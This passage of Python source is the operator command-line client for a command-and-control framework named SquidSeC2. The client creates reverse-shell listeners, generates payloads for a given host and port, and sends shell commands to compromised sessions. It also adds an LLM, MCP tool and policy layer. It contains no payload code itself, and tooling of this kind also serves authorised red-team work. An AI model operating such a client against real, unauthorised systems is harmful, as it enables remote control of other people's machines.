pp(client.get("/api/v1/tokens"))
|
||||
|
||||
|
||||
def cmd_tokens_create(args: argparse.Namespace, client: Client) -> None:
|
||||
scopes = [s.strip() for s in args.scopes.split(",") if s.strip()]
|
||||
body: dict[str, Any] = {"name": args.name, "scopes": scopes}
|
||||
if args.mcp_tools:
|
||||
body["mcp_tools"] = [t.strip() for t in args.mcp_tools.split(",") if t.strip()]
|
||||
pp(client.post("/api/v1/tokens", json=body))
|
||||
|
||||
|
||||
def cmd_tokens_revoke(args: argparse.Namespace, client: Client) -> None:
|
||||
pp(client.delete(f"/api/v1/tokens/{args.id}"))
|
||||
|
||||
|
||||
def cmd_ai_run(args: argparse.Namespace, client: Client) -> None:
|
||||
body: dict[str, Any] = {"capability": args.capability, "user_data": args.data or ""}
|
||||
if args.llm:
|
||||
body["llm_id"] = args.llm
|
||||
pp(client.post("/api/v1/ai/run", json=body))
|
||||
|
||||
|
||||
def cmd_llm_list(args: argparse.Namespace, client: Client) -> None:
|
||||
pp(client.get("/api/v1/llm"))
|
||||
|
||||
|
||||
def cmd_llm_add(args: argparse.Namespace, client: Client) -> None:
|
||||
body: dict[str, Any] = {
|
||||
"name": args.name,
|
||||
"provider": args.provider,
|
||||
"model": args.model,
|
||||
}
|
||||
if args.base_url:
|
||||
body["base_url"] = args.base_url
|
||||
if args.api_key:
|
||||
body["api_key"] = args.api_key
|
||||
if args.capabilities:
|
||||
body["capabilities"] = [c.strip() for c in args.capabilities.split(",") if c.strip()]
|
||||
pp(client.post("/api/v1/llm", json=body))
|
||||
|
||||
|
||||
def cmd_mcp_tools(args: argparse.Namespace, client: Client) -> None:
|
||||
pp(client.get("/mcp/tools"))
|
||||
|
||||
|
||||
def cmd_mcp_call(args: argparse.Namespace, client: Client) -> None:
|
||||
arguments = json.loads(args.args_json) if args.args_json else {}
|
||||
pp(client.post("/mcp/call", json={"name": args.name, "arguments": arguments}))
|
||||
|
||||
|
||||
def cmd_policy_get(args: argparse.Namespace, client: Client) -> None:
|
||||
pp(client.get("/api/v1/policy"))
|
||||
|
||||
|
||||
def cmd_policy_set(args: argparse.Namespace, client: Client) -> None:
|
||||
rules = json.loads(Path(args.file).read_text(encoding="utf-8") if args.file else args.json)
|
||||
pp(client.put("/api/v1/policy", json={"rules": rules}))
|
||||
|
||||
|
||||
def cmd_config_show(args: argparse.Namespace) -> None:
|
||||
cfg = load_config()
|
||||
safe = dict(cfg)
|
||||
if "token" in safe and safe["token"] and not args.show_token:
|
||||
t = safe["token"]
|
||||
safe["token"] = t[:8] + "…" + t[-4:] if len(t) > 16 else "***"
|
||||
pp({"config_file": str(CONFIG_FILE), **safe})
|
||||
|
||||
|
||||
def cmd_repl(args: argparse.Namespace, client: Client) -> None:
|
||||
print(f"SquidSeC2 REPL → {client.base}")
|
||||
print("Commands: sessions | tasks | listeners | metrics | audit | health | help | quit")
|
||||
print("Shortcuts: s <id> | t <session> <cmd> | g <template> <host> <port>")
|
||||
while True:
|
||||
try:
|
||||
line = input("ss2> ").strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
print()
|
||||
break
|
||||
if not line:
|
||||
continue
|
||||
if line in ("q", "quit", "exit"):
|
||||
break
|
||||
if line in ("h", "help", "?"):
|
||||
print(
|
||||
" sessions list sessions\n"
|
||||
" session <id> get session\n"
|
||||
" tasks [session_id] list tasks\n"
|
||||
" task <session> <cmd> create task\n"
|
||||
" listeners list listeners\n"
|
||||
" listen <name> <kind> <port>\n"
|
||||
" start <listener_id>\n"
|
||||
" stop <listener_id>\n"
|
||||
" payload <tpl> <host> <port>\n"
|
||||
" metrics | audit | health | whoami\n"
|
||||
" ai <capability> [data]\n"
|
||||
" quit"
|
||||
)
|
||||
continue
|
||||
parts = line.split()
|
||||
cmd = parts[0].lower()
|
||||
try:
|
||||
if cmd in ("sessions", "ses"):
|
||||
pp(client.get("/api/v1/sessions"))
|
||||
elif cmd in ("session", "s") and len(parts) >= 2:
|
||||
pp(client.get(f"/api/v1/sessions/{parts[1]}"))
|
||||
elif cmd in ("tasks",):
|
||||
params = {}
|
||||
if len(parts) >= 2:
|
||||
params["session_id"] = parts[1]
|
||||
pp(client.get("/api/v1/tasks", params=params))
|
||||
elif cmd in ("task", "t") and len(parts) >= 3:
|
||||
command = " ".join(parts[2:])
|
||||
pp(
|
||||
client.post(
|
||||
"/api/v1/tasks",
|
||||
json={"session_id": parts[1], "command": command},
|
||||
)
|
||||
)
|
||||
elif cmd in ("listeners", "lis"):
|
||||
pp(client.get("/api/v1/listeners"))
|
||||
elif cmd == "listen" and len(parts) >= 4:
|
||||
pp(
|
||||
client.post(
|
||||
"/api/v1/listeners",
|
||||
json={
|
||||
"name": parts[1],
|
||||
"kind": parts[2],
|
||||
"port": int(parts[3]),
|
||||
"host": parts[4] if len(parts) > 4 else "0.0.0.0",
|
||||
},
|
||||
)
|
||||
)
|
||||
elif cmd == "start" and len(parts) >= 2:
|
||||
pp(client.post(f"/api/v1/listeners/{parts[1]}/start"))
|
||||
elif cmd == "stop" and len(parts) >= 2:
|
||||
pp(client.post(f"/api/v1/listeners/{parts[1]}/stop"))
|
||||
elif cmd in ("payload", "g") and len(parts) >= 4:
|
||||
data = client.post(
|
||||
"/api/v1/payloads/generate",
|
||||
json={
|
||||
"template": parts[1],
|
||||
"host": parts[2],
|
||||
"port": int(parts[3]),
|
||||
},
|
||||
)
|
||||
print(data.get("content", data))
|
||||
elif cmd == "metrics":
|
||||
pp(client.get("/api/v1/metrics"))
|
||||
elif cmd == "audit":
|
||||
pp(client.get("/api/v1/audit", params={"limit": 20}))
|
||||
elif cmd == "health":
|
||||
pp(client.get("/api/v1/health"))
|
||||
elif cmd == "whoami":
|
||||
pp(client.get("/api/v1/meta"))
|
||||
elif cmd == "ai" and len(parts) >= 2:
|
||||
data = " ".join(parts[2:]) if len(parts) > 2 else ""
|
||||
pp(
|
||||
client.post(
|
||||
"/api/v1/ai/run",
|
||||
json={"capability": parts[1], "user_data": data},
|
||||
)
|
||||
)
|
||||
else:
|
||||
print("Unknown command. Type help.")
|
||||
except SystemExit as e:
|
||||
print(e)
|
||||
except Exception as e:
|
||||
print(f"error: {e}")
|
||||
|
||||
|
||||
def build_parser() -> argparse.ArgumentParser:
|
||||
p = argparse.ArgumentParser(
|
||||
prog="ss2",
|
||||
description="SquidSeC2 operator CLI — control a remote C2 from your terminal",
|
||||
)
|
||||
p.add_argument("--url", help="C2 base URL (or SQUIDSEC2_URL / config)")
|
||||
p.add_argument("--token", help="API token (or SQUIDSEC2_TOKEN / config)")
|
||||
p.add_argument("--timeout", type=float, default=30.0)
|
||||
|
||||
sub = p.add_subparsers(dest="command", required=True)
|
||||
|
||||
# login / config
|
||||
login = sub.add_parser("login", help="Save URL + token to ~/.config/squidsec2/config.json")
|
||||
login.add_argument("--url", default=None)
|
||||
login.add_argument("--token", required=True)
|
||||
login.set_defaults(func=cmd_login, needs_client=False)
|
||||
|
||||
cfg = sub.add_parser("config", help="Show saved config")
|
||||
cfg.add_argument("--show-token", action="store_true")
|
||||
cfg.set_defaults(func=cmd_config_show, needs_client=False)
|
||||
|
||||
# simple
|
||||
for name, fn, help_ in (
|
||||
("health", cmd_health, "Server health"),
|
||||
("whoami", cmd_whoami, "Token identity / scopes"),
|
||||
("metrics", cmd_metrics, "Metrics snapshot"),
|
||||
("repl", cmd_repl, "Interactive REPL"),
|
||||
):
|
||||
sp = sub.add_parser(name, help=help_)
|
||||
sp.set_defaults(func=fn, needs_client=True)
|
||||
|
||||
# sessions
|
||||
ses = sub.add_parser("sessions", help="Session operations")
|
||||
ses_sub = ses.add_subparsers(dest="sessions_cmd", required=True)
|
||||
s_list = ses_sub.add_parser("list", help="List sessions")
|
||||
s_list.add_argument("--status")
|
||||
s_list.set_defaults(func=cmd_sessions_list, needs_client=True)
|
||||
s_get = ses_sub.add_parser("get", help="Get session")
|
||||
s_get.add_argument("id")
|
||||
s_get.set_defaults(func=cmd_sessions_get, needs_client=True)
|
||||
s_close = ses_sub.add_parser("close", help="Close session")
|
||||
s_close.add_argument("id")
|
||||
s_close.set_defaults(func=cmd_sessions_close, needs_client=True)
|
||||
|
||||
# tasks
|
||||
tsk = sub.add_parser("tasks", help="Task operations")
|
||||
tsk_sub = tsk.add_subparsers(dest="tasks_cmd", required=True)
|
||||
t_list = tsk_sub.add_parser("list", help="List tasks")
|
||||
t_list.add_argument("--session")
|
||||
t_list.set_defaults(func=cmd_tasks_list, needs_client=True)
|
||||
t_get = tsk_sub.add_parser("get", help="Get task")
|
||||
t_get.add_argument("id")
|
||||
t_get.set_defaults(func=cmd_tasks_get, needs_client=True)
|
||||
t_create = tsk_sub.add_parser("create", help="Create task")
|
||||
t_create.add_argument("session", help="Session id")
|
||||
t_create.add_argument("command", help="Command to run")
|
||||
t_create.add_argument("--args-json", dest="args_json")
|
||||
t_create.add_argument("--hitl", action="store_true")
|
||||
t_create.set_defaults(func=cmd_tasks_create, needs_client=True)
|
||||
|
||||
# listeners
|
||||
lis = sub.add_parser("listeners", help="Listener operations")
|
||||
lis_sub = lis.add_subparsers(dest="listeners_cmd", required=True)
|
||||
l_list = lis_sub.add_parser("list")
|
||||
l_list.set_defaults(func=cmd_listeners_list, needs_client=True)
|
||||
l_create = lis_sub.add_parser("create")
|
||||
l_create.add_argument("name")
|
||||
l_create.add_argument("port", type=int)
|
||||
l_create.add_argument("--kind", default="http", choices=["http", "tcp", "reverse_shell"])
|
||||
l_create.add_argument("--host", default="0.0.0.0")
|
||||
l_create.set_defaults(func=cmd_listeners_create, needs_client=True)
|
||||
l_start = lis_sub.add_parser("start")
|
||||
l_start.add_argument("id")
|
||||
l_start.set_defaults(func=cmd_listeners_start, needs_client=True)
|
||||
l_stop = lis_sub.add_parser("stop")
|
||||
l_stop.add_argument("id")
|
||||
l_stop.set_defaults(func=cmd_listeners_stop, needs_client=True)
|
||||
l_del = lis_sub.add_parser("delete")
|
||||
l_del.add_argument("id")
|
||||
l_del.set_defaults(func=cmd_listeners_delete, needs_client=True)
|
||||
|
||||
# payloads
|
||||
pay = sub.add_parser("payloads", help="Payload generation")
|
||||
pay_sub = pay.add_subparsers(dest="payloads_cmd", required=True)
|
||||
p_tpl = pay_sub.add_parser("templates")
|
||||
p_tpl.set_defaults(func=cmd_payloads_templates, needs_client=True)
|
||||
p_gen = pay_sub.add_parser("generate")
|
||||
p_gen.add_argument("template")
|
||||
p_gen.add_argument("host")
|
||||
p_gen.add_argument("port", type=int)
|
||||
p_gen.add_argument("--interval", type=int, default=5)
|
||||
p_gen.add_argument("--raw", action="store_true", help="Print payload content only")
|
||||
p_gen.set_defaults(func=cmd_payloads_generate, needs_client=True)
|
||||
|
||||
# shell
|
||||
sh = sub.add_parser("shell", help="Send command to reverse shell session")
|
||||
sh.add_argument("session")
|
||||
sh.add_argument("command")
|
||||
sh.add_argument("--hitl", action="store_true")
|
||||
sh.set_defaults(func=cmd_shell, needs_client=True)
|
||||
|
||||
# audit / events
|
||||
aud = sub.add_parser("audit", help="Audit log")
|
||||
aud.add_argument("--limit", type=int, default=50)
|
||||
aud.add_argument("--offset", type=int, default=0)
|
||||
aud.set_defaults(func=cmd_audit, needs_client=True)
|
||||
|
||||
ev = sub.add_parser("events", help="Stream SSE events")
|
||||
ev.set_defaults(func=cmd_events, needs_client=True)
|
||||
|
||||
# tokens
|
||||
tok = sub.add_parser("tokens", help="Token management")
|
||||
tok_sub = tok.add_subparsers(dest="tokens_cmd", required=True)
|
||||
tk_list = tok_sub.add_parser("list")
|
||||
tk_list.set_defaults(func=cmd_tokens_list, needs_client=True)
|
||||
tk_create = tok_sub.add_parser("create")
|
||||
tk_create.add_argument("name")
|
||||
tk_create.add_argument(
|
||||
"--scopes",
|
||||
required=True,
|
||||
help="Comma-separated scopes",
|
||||
)
|
||||
tk_create.add_argument("--mcp-tools", dest="mcp_tools", help="Comma-separated MCP tools")
|
||||
tk_create.set_defaults(func=cmd_tokens_create, needs_client=True)
|
||||
tk_rev = tok_sub.add_parser("revoke")
|
||||
tk_rev.add_argument("id")
|
||||
tk_rev.set_defaults(func=cmd_tokens_revoke, needs_client=True)
|
||||
|
||||
# ai / llm
|
||||
ai = sub.add_parser("ai", help="Run Admin AI capability")
|
||||
ai.add_argument("capability")
|
||||
ai.add_argument("--data", default="")
|
||||
ai.add_argument("--llm", default=None)
|
||||
ai.set_defaults(func=cmd_ai_run, needs_client=True)
|
||||
|
||||
llm = sub.add_parser("llm", help="LLM connection management")
|
||||
llm_sub = llm.add_subparsers(dest="llm_cmd", required=True)
|
||||
llm_list = llm_sub.add_parser("list")
|
||||
llm_list.set_defaults(func=cmd_llm_list, needs_client=True)
|
||||
llm_add = llm_sub.add_parser("add")
|
||||
llm_add.add_argument("name")
|
||||
llm_add.add_argument("model")
|
||||
llm_add.add_argument("--provider", default="openai")
|
||||
llm_add.add_argument("--base-url", dest="base_url")
|
||||
llm_add.add_argument("--api-key", dest="api_key")
|
||||
llm_add.add_argument("--capabilities")
|
||||
llm_add.set_defaults(func=cmd_llm_add, needs_client=True)
|
||||
|
||||
# mcp
|
||||
mcp = sub.add_parser("mcp", help="MCP tools")
|
||||
mcp_sub = mcp.add_subparsers(dest="mcp_cmd", required=True)
|
||||
m_tools = mcp_sub.add_parser("tools")
|
||||
m_tools.set_defaults(func=cmd_mcp_tools, needs_client=True)
|
||||
m_call = mcp_sub.add_parser("call")
|
||||
m_call.add_argument("name")
|
||||
m_call.add_argument("--args-json", dest="args_json", default="{}")
|
||||
m_call.set_defaults(func=cmd_mcp_call, needs_client=True)
|
||||
|
||||
# policy
|
||||
pol = sub.add_parser("policy", help="Policy engine")
|
||||
pol_sub = pol.add_subparsers(dest="policy_cmd", required=True)
|
||||
pol_get = pol_sub.add_parser("get")
|
||||
pol_get.set_defaults(func=cmd_policy_get, needs_client=True)
|
||||
pol_set = pol_sub.add_parser("set")
|
||||
pol_set.add_argument("--json", dest="json")
|
||||
pol_set.add_argument("--file")
|
||||
pol_set.set_defaults(func=cmd_policy_set, needs_client=True)
|
||||
|
||||
return p
|
||||
|
||||
|
||||
def main(argv: list[str] | None = None) -> None:
|
||||
parser = build_parser()
|
||||
args = parser.parse_args(argv)
|
||||
needs = getattr(args, "needs_client", True)
|
||||
if not needs:
|
||||
args.func(args)
|
||||
return
|
||||
|
||||
base = resolve_base(args)
|
||||
token = resolve_token(args)
|
||||
if not token and args.command not in ("health",):
|
||||
# health is public; everything else needs token
|
||||
if args.command != "health":
|
||||
print(
|
||||
"No token configured. Run:\n"
|
||||
" ss2 login --url http://HOST:8443 --token ss2_...\n"
|
||||
"or set SQUIDSEC2_TOKEN / --token",
|
||||
file=sys.stderr,
|
||||
)
|
||||
# still allow health without token
|
||||
if args.command != "health":
|
||||
raise SystemExit(1)
|
||||
|
||||
client = Client(base, token, timeout=args.timeout)
|
||||
try:
|
||||
args.func(args, client)
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user